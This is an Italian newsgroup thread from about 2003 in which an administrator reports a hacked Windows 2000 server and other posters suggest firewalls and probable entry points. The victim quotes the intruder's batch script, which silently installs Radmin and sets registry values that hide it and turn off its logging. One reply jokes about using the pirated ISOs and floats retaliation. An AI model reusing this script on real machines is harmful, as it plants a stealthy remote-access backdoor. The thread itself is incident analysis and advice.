Newsgroup: it.comp.os.win.win2000
Titolo: server hackerato

Ho un server connesso in hads da circa 2 anni, con win 2k  e DC. i
repsonsabili della ditta non hanno mai voluto comperare in Furewoll
hardware, ma soltanto software, ci sono due siti IIs attivi e un programma
posta (argosoft) attivi, programma Netsupport per ricezione a mezzo linea
dedicata da un altro server, e attivo SQL server e  accesso vpn,
ho tolto gli accessi anonimi e ho soltanto lasciato glia accessi agli utenti
abilitati,
questa mattina ho trovato sul server  nella cartella
c:\winnt\addins\driver\data  circa 20 cartelle con varie immagini iso di CD
lasciate da qualche buntempone che ha avuto accesso dall'esterno??
all'interno ho trovato dei file eseguibili RAMINKIT e SETREG e KILL, PORT in
un file testo contenuto all'interno c'e  scritto IIS-CREW-PUBSTRO  HAXOred
By  Ganga.
Devo correre ai ripari,
consigli urgenti sono ben accetti, ovviamente oltre a rimuovere il cavo di
collegamento hdsl
Grazie
Carlo D.

 ha scritto nel messaggio
news:yAQS9.93449$R45.4...@news2.tin.it...

ho trovato nei servizi attivo c:\winnt\addins\winmgnt.exe  che lancia server
U-FTP.

 server U-FTP.
Sicuramente, oltre ad un firewall hardware (ZyXel, 3Com, Cisco ...), sul
quale aprire esclusivamente le porte che interessano, installa qualcosa tipo
Tiny Personal Firewall, giusto per vedere quali applicazioni tentano di
uscire all'esterno, usando quali porte e chiamando chi. E' importante
monitorare questo tipo di attivita', perche' un firewall hardware avra' ad
esempio la porta 80 aperta, ma non tiene sotto controllo le applicazioni che
cercano di usarla; pertanto non ti permette di conoscere se hai dei trojan
che cercano di stabilire una connessione irregolare dall'interno.
Volendo, poi, potrebbe tornarti utile conoscere gli indirizzi chiamati,
anche se temo siano adeguatamente protetti dietro un proxy per anonimato.
Ciao
Luca
-- 
Luca Sasdelli
PrePress IT Consultant
Microsoft MCPS, MVP
Cisco CSE-SMB, CCNA 2.0
lu...@sasdelli.it
http://www.sasdelli.it
Cell 
+39 335 5452050
Fax 
+39 051 6248147

Non è stato hackerato, semplicemente hanno fatto uno scan, trovato il tuo
indirizzo accessibile sotto una determinata cartella (spesso Cgi-bin), hanno
creato un path difficile da eliminare (se era uno capace) del tipo Pubstro/
/filled by/ /scan by / /...
Proteggi meglio il server... cmq nn mi lamenterei, ti masterizzi le iso e
sei a posto :)))

Ah, mi sono dimenticato una cosa:
Ti hanno uppato tutta la roba passando sulla porta 21. (FTP)
Se nn è la 21 è un'altra porta con la medesima funzione.


sono schifezze e in tedesco,  niente di carino

Peccato :))))) allora facciamogli il culo... hai un Ip loggato da qualche
parte che credi sia questo filler?

 collegamento hdsl
Tanto per iniziare occorre proprio staccare la connessione ad Internet
e chiamare un buon professionista che metta a posto la cosa.
Saluti.

"Gabriele Del Giovine" <zz...@zzzzzz.zzz> ha scritto nel messaggio
news:avhf28$1s05$1...@newsreader1.mclink.it...

Non servivano professori o sarcasmi inutili,   hanno bucato la casa bianca,
e credo non esiste un professionista al quale non possano succedere scherzi,
altrimenti non ci nsarebbero cointinue violazioni, come dimostrato ogni
giorno,  esiste soltanto un livello di bersaglio che sei, se sei una banca
ovviamente avrai delle protezioen e degli investimenti adeguati, se sei una
piccola ditta, non sempre fai investimenti adeguati,  per la configurazione,
sonostati seguiti tutti i crismi di sicurezza forniti ai corsi avanzati di
win 2k server seguiti ai corsi IBM, e non è stato tanto facile farci schezi,
visto che sono due anni che è presente in hdsl con ip statico e server web
attivo ,  e nonostante molti tentativi oggi è stato il primo riuscito, e
comunque scoperto e bloccato.
ho trovato anche da dove, sfruttando una cartella del sito web,  IIS, non ho
ancora capito come  abbia fatto, era bloccata in scrittura e a visitatori
non loggati nel dominio, ha aperto una porta 64645 e 43958, utilizzandola in
ftp mode.
ha installato un servizio di amministrazione remota del server installando
r_server.exe
e poi un server ftp.
bello vero,
il signore che si è divertito
²°`¯ ¯`°²º¤æ-Gangsta-=æ¤º²°`¯ ¯`°²
purtroppo non sempre è possibile fare come si vuole,  bisogna sottostare a
chi comanda e paga, se gli sta bene cosi bisogna adeguarsi, ovviamente  dopo
avere informato chi di dovere  sui provabili rischi.
Carlo

 ha scritto nel messaggio
news:BV%S9.2014$0v.5...@news1.tin.it...

ha esguito questo, come avra fatto ???
r_server.exe /install /silence
echo off
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters
dtREG -AddKey HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port=22130000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Timeout=0a000000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableLogFile=000000
00
dtREG -Set REG_SZ
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\LogFilePath="c:\logf
ile.txt"
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\FilterIp=00000000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\DisableTrayIcon=0100
0000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AutoAllow=00000000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\AskUser=00000000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\EnableEventLog=00000
000
dtREG -Set REG_BINARY
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter=a3729aba72
a15e43c1478d351d658987
echo off
net start r_server

 investimenti adeguati, se sei una piccola ditta, non sempre fai
Comunque, fossi in te mi informerei bene sui firewall e ne parlerei con il
tuo capo, anche se stiamo parlando del senno di poi.
Uno ZyXel ZyWall 1 costa circa 220 Euro, ha quel minimo che serve e lo fa
dignitosamente; Tiny 4.0 costa 39 dollari e dispone anche della sandbox per
individuare i trojan. SmoothWall costa zero + un 486/Pentium da rottamare, e
gestisce anche la DMZ ... insomma, la possibilita' di mettersi abbastanza al
sicuro non mi sembra particolarmente onerosa ...:-)
Ciao
Luca
-- 
Luca Sasdelli
Microsoft MVP - Networking, Windows NT/2000/XP
http://support.microsoft.com/newsgroups/default.aspx


Per gli investimenti oggi dopo quanto successo ieri non anno piů problemi a
spendere cifre anche superiori, la solita storia, si chiude la stalla dopo
che i buoi sono scappati.
Ringrazio ancora tutti per la sollecitudine e cortesia con cui  mi ha
risposto ed aiutato a capire dove provabilmente avesse avuto origine il
problema.
Dalmasso Carlo

 ha esguito questo, come avra fatto ???
Sono almeno tre le possibili strade che l'intrusore ha seguito
1) è riuscito ad eseguire Cmd.exe per mezzo di una query string
verso IIS in conseguenza del fatto che IIS non era patchato correttamente
2) hai incidentalmente visitato un sito web con dentro una pagina
che contiene uno script Jscript o Vbscritp che ha fatto tutto il lavoretto
Usando una lina HDSL i tempi di navigazione sono bassissimi quindi
il trasferimento i 4/5 mb di roba non viene percepito come anomalo.
3) hai il server ftp abilitato in scrittura e che gira con accoutn diverso
da IUSR_xxxx
4) hai installato sulla macchina Outlook o Word. Ho verificato che nei mesi
scorsi c'era un virus macro modificato che installava ServU e FireDeamon.
5) hai SQLServer in modalità Mixed (account sa)
in ascolto sull'interfaccia Internet e non hai provveduto ad installare
le patch relative (sono tutte patch post SP2 per SQLServer 2000 e post SP4
per SQLServer 7)
Saluti.
PS. Comuque è un attacco molto comune.

 giorno,  esiste soltanto un livello di bersaglio che sei,
Scusami se ti ho offeso. Non era voluto.
Il problema č che qualsiasi utente HDSL  proprio in virtů
dell'enorme diffusione che in Italia ha avuto HDSL, č il target
ideale degli hacker della domenica che devono metter su
siti volanti per i loro scopi. Hanno buona banda (2 Mb) e trovano
spessissimo sistemi non molto resistenti agli attacchi.
Considerando poi che molte volte questi sistemi sono anche
gli unici a disposizione delle vittime e che spesso sono anche
i sistemi che ospitano l'unico server aziendale con tanto di Office
installato.
In un altro post ti ho elencato i possibili problemi.
Saluti.

"Gabriele Del Giovine" <zz...@zzzzzz.zzz> ha scritto nel messaggio
news:avjkp7$ts1$1...@newsreader1.mclink.it...

Nulla, ma sai mi ero molto inc..... per quello che mi aveva fatto il tipo.
Ciao Grazie